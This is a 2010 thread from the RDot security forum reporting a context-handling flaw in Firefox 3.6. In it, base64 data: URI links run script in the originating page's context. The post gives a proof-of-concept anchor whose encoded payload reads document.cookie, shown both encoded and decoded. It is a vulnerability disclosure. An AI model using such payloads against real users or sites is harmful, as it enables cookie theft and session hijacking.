RDot

RDot (https://rdot.org/forum/index.php)
-   Целевые системы/Target systems (https://rdot.org/forum/forumdisplay.php?f=22)
-   -   Firefox 3.6: data URI context handling error (https://rdot.org/forum/showthread.php?t=485)

tipsy 03.08.2010 05:56

Firefox 3.6: data URI context handling error
 
Firefox 3.6.* (latest stable) при переходе по ссылке вида
Код HTML:

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==">link</a>
Код:

<script>alert(document.cookie);</script>
выполняет скрипты в контексте документа, с которого выполнялся переход

Пример:
http://s39.radikal.ru/i084/1008/de/533d9f9a8f74.png


http://s43.radikal.ru/i099/1008/4b/e1cf6acdefbf.png


Часовой пояс GMT +3, время: 06:30.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot